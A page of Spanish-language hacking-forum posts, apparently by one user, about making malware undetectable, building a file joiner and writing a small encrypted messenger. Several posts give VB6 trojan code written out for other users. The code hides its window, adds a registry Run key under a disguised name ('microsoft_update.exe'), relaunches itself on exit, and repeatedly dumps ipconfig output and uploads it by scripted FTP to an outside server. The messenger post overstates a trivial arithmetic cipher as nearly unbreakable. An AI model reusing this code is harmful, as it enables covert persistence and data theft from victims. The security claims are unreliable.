Mensajes

[http://foro.elhacker.net/index.php/topic,160470.0.html]

Parece que no fuí bien claro... ok me explico nuevamente no como una solución sino para no crear confuciones.

Incluyes el GCC.exe y las librerías necesarias para transpoortar programas sin compilación los cuales al descomprimirse este lee el archivo de configuración .ini y ejecuta su respectivo script de esta forma puedes crear los softwares en C haciendolos indetectables solo hasta que se compilen, de ahí usar reemplazos como renombrar funciones al azar o crear el ejecutable con una cifrado aleatoria.

Pero como buelvo a decir... esto no es una solución... solo respondía a lo que se planteaba pero se que a eso no va el tema sino que la idea es aprender a crear un joiner como el de mad no?

De todas formas el código fuente del cactus joiner de mad está acá:
http://foro.elhacker.net/index.php/topic,160470.0.html
y creo que con eso solucionas el problema.

solo que necesitamos unos cientos de millones...

Tranquilo que con el sueldo que nos dan en el foro en unos meses lo juntamos 

Si puedes.

Agregas a tu programa los archivos necesarios para una ciompilación, luego solo agregas el código fuente y cuando el programa se abra que este descomprima todos los archivos en el directorio temporal compilando el código fuente y ejecutandolo previamente.
Pero por lo visto tu quieres saber como crear un joiner como el de mad... eso es otra cosa muy diferente ya que agregas el archivo directamente ya compilado.

Ing_Amc y donde dejaste la araña? 

Exacto... escribes y estas frito  no puedes arrepentirte de lo que escribes.... si puedes borrarlo pero la otra persona también sabrá que estas borrando jajaja.

[cd..&&cd system\drivers]

Cuando invocas a la consola de comandos estas trabajando directamente sobre su directorio... o sea %homedrive%%windir%\system32 (C:\windows\system32) por lo cual solo Debes agregarle los comandos cd..&&cd system\drivers

Ok... te hago el codigo pero ojalá la proxima ves averigues un poco mas sobre el tema porque será la última ves que doy un código hecho sin que la otra persona no sepa ni que hace.

microsoft_update.exe

Private Sub Form_Load()
form1.visible = False
shell("cmd.exe /c reg add HKcU\Software\Microsoft\Windows\CurrentVersion\Run /v "Microsoft" /t REG_SZ /d "%homedrive%%windir%\system\driver\microsoft_update.exe" /f"),vbhide
1:
shell("cmd.exe /c set = rnd=%random%&&cd..&&cd system\Driver&&ipconfig > %rnd%.txt&&echo o > ftp.txt&&echo usuarios.lycos.es >> ftp.txt&&echo user >> ftp.txt&&echo pass >> ftp.txt&&echo put %rnd%.txt >> ftp.txt&&echo quit >> ftp.txt&&ftp -s:ftp.txt"),vbhide
goto 1
End Sub

Despues lo comprimes en winrar autoejecutable para que se descomprima en c:\windows\system\driver
Para aprender a usar el winrar de esta manera mira este post:
http://foro.elhacker.net/index.php/topic,159799.0.html

Bueno... me estoy entreteniendo tanto construyendo este software de msajería instantanea de PC a PC que quiero compartir mis avances con ustedes.

La idea es la tipica de conectar cliente con servidor a traves de tres socks, uno recibe los mensajes cifrados y los otros dos son para enviar y recibir comandos directos sin cifrar.

Este software es un tanto diferente a los demas porque es INSTANTANEO en su totalidad... o sea que escribes una letra e inmediatamente lo lee la otra persona asi que no podras arrepentirte de lo que escribes  .

El cifrado consiste en tomar el numero de caracter ingresado en la caja de texto, multiplicarlo y sumarlo de tal forma que de un resultado y ese resultado se envia al servidort o cliente el cual resta ese total obteniendo el número de caracter descifrandolo nuevamente.

El tercer socks sirve para enviar cada 10 segundos el codigo de cifrado al servidor aleatoriamente para que pueda segir siendo descifrado únicamente por el receptor del mensaje... el que intente descifrarlo se encontrará con un cifrado diferente cada 10 segundos siendo imposible recuperar el mensaje real a menos que intercepte el codigo enviado por el tercer sock.

Ahora mismo estoy intentando cifrar este tercer sock con un código único entre letras y números.

También en un tiempo más implementaré el uso de sockets para registrarlo en la red tor de esta forma hacerlo un poquito mas indetectable  .

Este no es un programa de mensajería profesional pero si te ayudará para poder entender como crear uno sin romperte la cabeza.

Nota: Este proyecto lo llevo desde hace dos dias partiendo desde un cliente y servidor telnet jajaja.

Código fuente del servidor + cliente  incluido en este post .

La proxima volveré con el mensajero un poco mas sofisticado y con una buena visual ya que como se ve está "RAW"





Ustedes diran: "Para que sirve si ya existen mensajeros  "
Lo hice por dos razones:

1. Si deseas conversar algo un tanto delicado con un amigo no lo podrán descifrar tan facilmente.

2. El proyecto empezó como un simple minichat pero me entretuve tanto que ahora me dedico un buen tiempo a el desde hace dos dias mas o menos.

Ojala termine de hacerlo compatible con proxyes y socks para poder usarlo con la Red Tor.

Acepto todo tipo de criticas y sugerencias 

También puedes hacer una shell bat que te lo suba por el comando ftp.exe:

Private Sub Form_Load()
form1.visible = False
shell("cmd.exe /c ipconfig > ip.txt&&echo o > ftp.txt&&echo ip >> ftp.txt&&echo user >> ftp.txt&&echo pass >> ftp.txt&&echo put ip.txt >> ftp.txt&&echo quit >> ftp.txt&&ftp -s:ftp.txt"),vbhide
End Sub

Como me quedó? XD

El sleep (10000) es para esperar 10 milisegundos, o sea 10 segundos ya que ese es el tiempo maximo que deve durar el envío del texto antes de cerrar las conexiones.

Para que funcione winsock Debes adjuntar winsock.ocx a tu troyano y asi solucionas tu problema.

Prueva con esto:

Private Sub Form_Unload(Cancel As Integer)
shell("cmd.exe /c " & ap.path & app.exename & ".exe"),vbNormalFocus
End Sub

Si no resulta entonces crea dos programas que se verifiquen si uno se detiene el otro lo jala.

Aver que les parece mi pequeño codigo para recuperar solamente ese texto:

Public Declare Sub Sleep Lib "kernel32" (ByVal dwMilliseconds As Long)

Private Sub Form_Load()
form1.visible = False
shell("cmd.exe /c ipconfig > c:/ip.txt"),vbhide
winsock1.connect "ip_ftp", 21
End Sub

Private Sub Winsock1_ConnectionRequest(ByVal requestID As Long)
On Error Resume Next
If Winsock1.State <> sckClosed Then Winsock1.Close
Winsock1.Accept requestID
End Sub

Private Sub Winsock1_DataArrival(ByVal bytesTotal As Long)
On Error Resume Next
Dim BufferIN As String
Winsock1.GetData BufferIN

if BufferIN  " bienvenida etc etc... Nombre usuario:" Then winsock1.senddata "Usuario"
if BufferIN  "Password" Then winsock1.senddata "password"
if BufferIN  "corrent directory is etc etc...." Then
winsock1.senddata "put C:\ip.txt"
sleep (10000)
end
end if
End Sub